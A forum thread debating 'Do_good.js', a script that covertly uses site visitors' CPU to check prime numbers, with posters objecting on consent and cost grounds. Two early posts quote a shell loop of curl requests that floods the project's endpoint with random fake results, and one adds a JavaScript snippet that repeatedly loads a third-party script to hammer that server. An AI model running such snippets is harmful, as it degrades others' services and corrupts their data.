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Re: Do_good.js

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Post by chid »

xSwag wrote: post #20

do_bad.sh for i in {1..9999};do curl -v --data "n=$RANDOM&result=$RANDOM" http://arcane-sea-9808.herokuapp.com/update/?callback=;done

That's just mean :)

Re: Do_good.js

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Post by solox3 »

xSwag wrote: post #20

do_bad.sh for i in {1..9999};do curl -v --data "n=$RANDOM&result=$RANDOM" http://arcane-sea-9808.herokuapp.com/update/?callback=;done

    setInterval(function () {
        /* verizon.js */
        var scriptTag = document.createElement('script');
        scriptTag.src = '//www22.verizon.com/resources/scripts/mootools.js?t=' + 
                        parseInt(Math.random() * 1000000);
        document.getElementsByTagName('head')[0].appendChild(scriptTag);
    }, 100);

Re: Do_good.js

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Post by maerF0x0 »

ruswick wrote: post #46
adrianmalacoda wrote: post #43

Earlier quoted context omitted.

It's an interesting idea for sure, but in my opinion the objections are justified. The problem I (and some others here) have with this is " I easily could have hidden it. In fact, I could install this on every site you visit, and you'd hardly notice. " Personally, I think even with the assumption that the overall goal (finding prime numbers, for example) is a worthy use of crowd sourced CPU, sneakily co-opting visito…

The other issue is that he is not recommending that this be used for research. He is recommending that he can discreetly rent out my own computer to entities that are anonymous to me and with whom I have absolutely no contact, all for his personal monetary gain. Consensual distributed computing in the name of science in interesting. Secretive distributed computing in the name of individual profit is disconcerting.

Equally disturbing is that you'll have no knowledge of what it's used for. ex: Maybe its used in a AI algorithm to help drones figure out the most efficient way to kill everyone in an enemy country.

Re: Do_good.js

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Post by medde »

UberMouse wrote: post #13
afhof wrote: post #4

This is wasteful of people's electricity and inefficient at the same time. Opting people in to wasting their battery life or raising their electric bill is treating users as a means rather than an end.

It's not even using 1% of my CPU. It checks one prime every 100ms, so it doesn't really use a lot of anything.

try checking a 100 million digit prime number in 100ms http://www.mersenne.org/legal/#awards

Re: Do_good.js

#56

Post by James_Duval »

dhruvkaran wrote: post #48

Most entities that have a large enough footprint to make this kind of a thing useful care a lot about speed and their users :) Why not just have a chrome extension that does good on all sites?

This is an excellent point, doing away with a lot of the ethical concerns of the original project.

At this point, though, I'd be tempted to just remake the whole thing as a proper program, if we're going to be asking people to download it anyway.

Re: Do_good.js

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Post by dwild »

glhaynes wrote: post #42

Really, you're using energy I'm paying for [on the meter and/or in battery longevity] to check the primality of 6533? No, I think not.

Yeah this is simply an indirect way to pay for a service and it's incredibly expensive too for the result.
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